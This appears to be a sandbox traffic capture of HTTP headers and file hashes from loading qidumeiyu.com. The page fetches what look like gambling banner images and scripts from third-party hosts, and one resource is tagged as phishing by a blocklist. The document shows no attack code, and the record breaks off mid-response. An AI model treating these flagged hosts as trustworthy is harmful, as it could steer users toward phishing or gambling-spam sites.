Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:21 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (11013)
Size:   3940
Md5:    258880ad4197352fc4f9eb8c639293a2
Sha1:   e564783d3b39b021bcc71a17a7680c150a639c28
Sha256: 2e12d9f0a8822f7e753eb08117c83f2cf9a1b562d5e8112a994b9a6e29be16c8

Blocklists:
  - fortinet: Phishing
                                        
                                            POST /gsgccr3dvtlsca2020 HTTP/1.1 
Host: ocsp.globalsign.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 79
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             104.18.21.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Date: Thu, 23 Mar 2023 04:07:21 GMT
Content-Length: 1414
Connection: keep-alive
Expires: Mon, 27 Mar 2023 03:11:43 GMT
ETag: "4a2f610205219b1ea54adc0fcfd0eff551dd5414"
Last-Modified: Thu, 23 Mar 2023 03:11:44 GMT
Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
CF-Cache-Status: HIT
Age: 2542
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 7ac3ce95af590b31-OSL


--- Additional Info ---
Magic:  data
Size:   1414
Md5:    e46cd226002d9cbeceabb521b34bbc07
Sha1:   4a2f610205219b1ea54adc0fcfd0eff551dd5414
Sha256: 320255f07cb3f68fc7d467119bf3bd82e598e28ce43e35e1906b1b123449ca74
                                        
                                            GET /nlp/fn888.php?keyword=%E6%8B%89%E6%96%AF%E7%BB%B4%E5%8A%A0%E6%96%AF3499%E6%89%8B%E6%9C%BA%E7%89%88-welcome&from=pc&originurl=https%3A%2F%2Fwww.qidumeiyu.com%2F&referer=&userAgent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A105.0)%20Gecko%2F20100101%20Firefox%2F105.0&v=4717 HTTP/1.1 
Host: www.yueguo99.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://www.qidumeiyu.com
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.186
HTTP/1.1 200 OK
Content-Type: text/css;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:21 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Access-Control-Allow-Origin: *
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document text\012- exported SGML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Size:   1258
Md5:    384c3966e8272ae18e3c81ac9e57bc88
Sha1:   998bc1205e1fddea28c0c77b042c110f7382fb04
Sha256: a0ab04f7194d691f8fe6b9219746d66484aad789d6c3f0eecbd1203f5f72eb85
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.cn
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             47.246.44.205
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: Tengine
Content-Length: 471
Connection: keep-alive
Cache-Control: 'max-age=158059'
Date: Thu, 23 Mar 2023 04:07:21 GMT
Ali-Swift-Global-Savetime: 1679544441
Via: cache8.l2de2[4,4,200-0,M], cache8.l2de2[5,0], cache3.se1[26,25,200-0,M], cache3.se1[27,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 23 Mar 2023 04:07:21 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 2ff62c9716795444414948187e

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.cn
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             47.246.44.205
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: Tengine
Content-Length: 471
Connection: keep-alive
Date: Thu, 23 Mar 2023 04:07:21 GMT
Last-Modified: Wed, 22 Mar 2023 22:24:52 GMT
ETag: "641b8034-1d7"
Expires: Fri, 24 Mar 2023 22:24:52 GMT
Cache-Control: max-age=152251
Accept-Ranges: bytes
Ali-Swift-Global-Savetime: 1679544441
Via: cache11.l2de2[4,4,200-0,M], cache11.l2de2[5,0], cache8.se1[28,27,200-0,M], cache8.se1[29,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 23 Mar 2023 04:07:21 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 2ff62c9c16795444414975913e

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.cn
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             47.246.44.205
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: Tengine
Content-Length: 471
Connection: keep-alive
Cache-Control: 'max-age=158059'
Date: Thu, 23 Mar 2023 04:07:21 GMT
Ali-Swift-Global-Savetime: 1679544441
Via: cache12.l2de2[43,42,200-0,M], cache12.l2de2[44,0], cache7.se1[65,64,200-0,M], cache7.se1[66,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 23 Mar 2023 04:07:21 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 2ff62c9b16795444415008150e

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.cn
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             47.246.44.205
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: Tengine
Content-Length: 471
Connection: keep-alive
Date: Thu, 23 Mar 2023 04:07:21 GMT
Last-Modified: Wed, 22 Mar 2023 22:24:52 GMT
ETag: "641b8034-1d7"
Expires: Fri, 24 Mar 2023 22:24:52 GMT
Cache-Control: max-age=152251
Accept-Ranges: bytes
Ali-Swift-Global-Savetime: 1679544441
Via: cache10.l2de2[5,5,200-0,M], cache10.l2de2[6,0], cache3.se1[125,125,200-0,M], cache3.se1[127,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 23 Mar 2023 04:07:21 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 2ff62c9716795444414958188e

                                        
                                            GET /hm.js?8d7d4cfa6b46e49eb91bf0e7e0306291 HTTP/1.1 
Host: hm.baidu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             103.235.46.191
HTTP/1.1 200 OK
Content-Type: application/javascript
                                            
Cache-Control: max-age=0, must-revalidate
Content-Encoding: gzip
Content-Length: 11254
Date: Thu, 23 Mar 2023 04:07:21 GMT
Etag: 05ea0f8aea62d02d0157e838f77a5c40
P3p: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Server: apache
Set-Cookie: HMACCOUNT=486FC762B57C4769; Path=/; Domain=hm.baidu.com; Expires=Sun, 18 Jan 2038 00:00:00 GMT
Strict-Transport-Security: max-age=172800


--- Additional Info ---
Magic:  data
Size:   4827
Md5:    899578e3a3384e086d363752eab5c565
Sha1:   fc491e8925d22827c4a41c138edf24f06ab666aa
Sha256: c848012468b3d50a8e88a8d9acc32191a69d61fdd7c7f6074ed7c31d57fa4755
                                        
                                            GET /site.css HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: text/css;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:21 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document, Unicode text, UTF-8 text, with CRLF, LF line terminators
Size:   1773
Md5:    afef652cef290951a92953722ae755a4
Sha1:   b0737b3dc2c1ee6c3edfacda383e9027ca53fb11
Sha256: 3a5d40225a9077ceb8066dcd6c049aa76ab8f5b5dbbadfb50b3c3e91bc367bc8
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "EC8BD89298BF6AE3AF7D45FCFD1CFC54342F3B75174F6B6B25E22BB7B5EEB58E"
Last-Modified: Wed, 22 Mar 2023 13:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=19468
Expires: Thu, 23 Mar 2023 09:31:49 GMT
Date: Thu, 23 Mar 2023 04:07:21 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "EC8BD89298BF6AE3AF7D45FCFD1CFC54342F3B75174F6B6B25E22BB7B5EEB58E"
Last-Modified: Wed, 22 Mar 2023 13:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=19468
Expires: Thu, 23 Mar 2023 09:31:49 GMT
Date: Thu, 23 Mar 2023 04:07:21 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "EC8BD89298BF6AE3AF7D45FCFD1CFC54342F3B75174F6B6B25E22BB7B5EEB58E"
Last-Modified: Wed, 22 Mar 2023 13:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=19468
Expires: Thu, 23 Mar 2023 09:31:49 GMT
Date: Thu, 23 Mar 2023 04:07:21 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.cn
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             47.246.44.205
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: Tengine
Content-Length: 471
Connection: keep-alive
Cache-Control: 'max-age=158059'
Date: Thu, 23 Mar 2023 04:07:21 GMT
Ali-Swift-Global-Savetime: 1679544442
Via: cache11.l2de2[485,485,200-0,M], cache11.l2de2[486,0], cache4.se1[511,511,200-0,M], cache4.se1[513,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 23 Mar 2023 04:07:22 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 2ff62c9816795444414996411e

                                        
                                            GET /zhuye/jquery.la.min.js HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: application/javascript
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 718
Last-Modified: Thu, 12 May 2022 19:29:56 GMT
Connection: keep-alive
ETag: "627d6034-2ce"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  HTML document text\012- HTML document, ASCII text, with very long lines (554), with CRLF line terminators
Size:   718
Md5:    7508aa9626ca42f55395e1c730ca2a42
Sha1:   5844f42d5773ebe2818c487f59364d5bfc6add82
Sha256: 6d04d2e22711ab44cfc76138b4d5f02521d57ff0e7a2a41eb4fe31698e990990
                                        
                                            GET /zhuye/img/manbetx2021.jpg HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 28307
Last-Modified: Tue, 29 Mar 2022 20:46:40 GMT
Connection: keep-alive
ETag: "62437030-6e93"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1000x206, components 3\012- data
Size:   28307
Md5:    e87ed328e88c78e459fb6263e79430f0
Sha1:   90757590c16296d8f63c74a4121c875bfcb8fc6b
Sha256: fa3234ef626d29676fccb7643a5a3fc66ecc850acd4f19eb865239e73613ee83
                                        
                                            POST /gsgccr3dvtlsca2020 HTTP/1.1 
Host: ocsp.globalsign.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 79
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             104.18.21.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 1414
Connection: keep-alive
Expires: Mon, 27 Mar 2023 00:47:17 GMT
ETag: "49931193ca037f34d9d9447841a72a3edd3d3357"
Last-Modified: Thu, 23 Mar 2023 00:47:18 GMT
Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
CF-Cache-Status: HIT
Age: 3315
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 7ac3ce9dca0c0b31-OSL


--- Additional Info ---
Magic:  data
Size:   1414
Md5:    90946c94981cc7f22001ab668ec56387
Sha1:   49931193ca037f34d9d9447841a72a3edd3d3357
Sha256: 5012d99d0448082e1db2d0b2cc9dfddef244d73ceab3d62413071edb75026da2
                                        
                                            GET /zhuye/img/yongli2021.gif HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 78713
Last-Modified: Tue, 29 Mar 2022 20:45:14 GMT
Connection: keep-alive
ETag: "62436fda-13379"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1000 x 200\012- data
Size:   78713
Md5:    9a081484d733800559f1e70616dd2bd1
Sha1:   cb60345f940d2a4cb6112b7048308cc400269bdd
Sha256: a50032aeffd59b3b8387739e373855aa95385c19f567644aa720cff69c71f0ea
                                        
                                            GET /js-sdk-pro.min.js HTTP/1.1 
Host: sdk.51.la
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             47.253.50.2
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                            
Server: openresty
Date: Thu, 23 Mar 2023 04:07:22 GMT
Last-Modified: Tue, 10 Jan 2023 04:34:55 GMT
Transfer-Encoding: chunked
Connection: keep-alive
ETag: W/"63bceaef-861a"
Cache-Control: max-age=1296000
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (34110)
Size:   12853
Md5:    29243483fe441404931c046d27be80a6
Sha1:   92a0c68b0169eff0addb8cc05a53f6e009d41d47
Sha256: 4865f22b0a68c6a0a6c2d3cbedb9a190ffbea105c4f1e2a5806172919456f3b1
                                        
                                            GET /zhuye/img/xpj2021.gif HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 88320
Last-Modified: Tue, 29 Mar 2022 20:45:50 GMT
Connection: keep-alive
ETag: "62436ffe-15900"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1000 x 200\012- data
Size:   88320
Md5:    d03cd26d74296657fe5035f3920849b8
Sha1:   9be05d96796fa7f44616c5223bdf287b2df8dfcb
Sha256: 9314c2cb13cf470c9e1776355a6f03674a374c2ff566f02ecdde4be513477085
                                        
                                            GET /zhuye/img/wnsr2021.gif HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 74577
Last-Modified: Tue, 29 Mar 2022 20:46:02 GMT
Connection: keep-alive
ETag: "6243700a-12351"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1000 x 200\012- data
Size:   74577
Md5:    6643420c5bbe4bd6e2d8b61837af3039
Sha1:   95c9fc7af01c5856bc05914373972cc4320bfb32
Sha256: 34a0e2070071c1bac6f17f5eb3dbfc297137792dbcaafa1203e0c9a78867f7e1
                                        
                                            GET /zhuye/img/tyc2021.png HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/png
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 99525
Last-Modified: Tue, 29 Mar 2022 20:45:08 GMT
Connection: keep-alive
ETag: "62436fd4-184c5"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image data, 1000 x 200, 8-bit colormap, non-interlaced\012- data
Size:   99525
Md5:    8f96b530a6e253577a2e3db628678348
Sha1:   34a6dd285ef52b88e1483fc668b3cf8cfb0da077
Sha256: f59c819532085d1d0bb91db9b186a749df0c8a2478fc230a833125d5e7e64ae1
                                        
                                            GET /zhuye/img/jinsha999.gif HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 138124
Last-Modified: Tue, 29 Mar 2022 20:44:56 GMT
Connection: keep-alive
ETag: "62436fc8-21b8c"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1000 x 300\012- data
Size:   138124
Md5:    b15223fbef3ad6231c8a2065b14321bf
Sha1:   32b15b10b21a7a2c10a3720529299b0e77f574b8
Sha256: 60571f689a768060ae99d093560967d034611fc4ec7a87a0ee270a3a9b1b23fa
                                        
                                            GET /zhuye/img/yb999.png HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/png
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 337091
Last-Modified: Tue, 29 Mar 2022 20:45:56 GMT
Connection: keep-alive
ETag: "62437004-524c3"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x500, components 3\012- data
Size:   337091
Md5:    f1e5601893a0f186a494e7dd0a18ec7e
Sha1:   571941931633bd84fb829ef5f15830dc7f9c1617
Sha256: 6a416bf5d721d033f61050f4ec3d83a075cdc5f16a6db7a5a0022dd48e2c806d
                                        
                                            GET /zhuye/img/bet2021.jpg HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 143681
Last-Modified: Tue, 29 Mar 2022 20:45:46 GMT
Connection: keep-alive
ETag: "62436ffa-23141"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1000x200, components 3\012- data
Size:   143681
Md5:    a812779ba450f8ea99610cc717104182
Sha1:   805c591f2cb0fe9d13350bd3d71bff2f86e32bd4
Sha256: 77e6a1db91d45aa7c0c16c2be7be7a856b1fa3b983b774c9d21ea38a31b08c17
                                        
                                            GET /zhuye/img/tyc1.gif HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:22 GMT
Content-Length: 244502
Last-Modified: Tue, 29 Mar 2022 20:47:38 GMT
Connection: keep-alive
ETag: "6243706a-3bb16"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1000 x 100\012- data
Size:   244502
Md5:    fc4a7310fc9f4e7fbe2d43f1c063b43a
Sha1:   6410c3cf2eb299b1acfcd442b00d66c8e6134cdd
Sha256: 948ddb11b3c6c28622e03bc58daeebe0d373236d43a3ced3265b3fe6eb9bc95c
                                        
                                            GET /zhuye/img/yl999.gif HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:23 GMT
Content-Length: 477348
Last-Modified: Tue, 29 Mar 2022 20:47:48 GMT
Connection: keep-alive
ETag: "62437074-748a4"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  GIF image data, version 89a, 1000 x 100\012- data
Size:   477348
Md5:    9e07a5cab4aa0dd2f4812fc347081ac8
Sha1:   b07f49e9cb7a8a678063ebede264aa7a60387348
Sha256: 38be687f0e62fcbf1b13a04003b15a3f9cef34bc2ab4332f33aa29e63e359765
                                        
                                            GET /zhuye/img/aomen1200.gif HTTP/1.1 
Host: www.whjcpet.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                        
                                             104.165.90.55
HTTP/1.1 200 OK
Content-Type: image/gif
                                            
Server: nginx
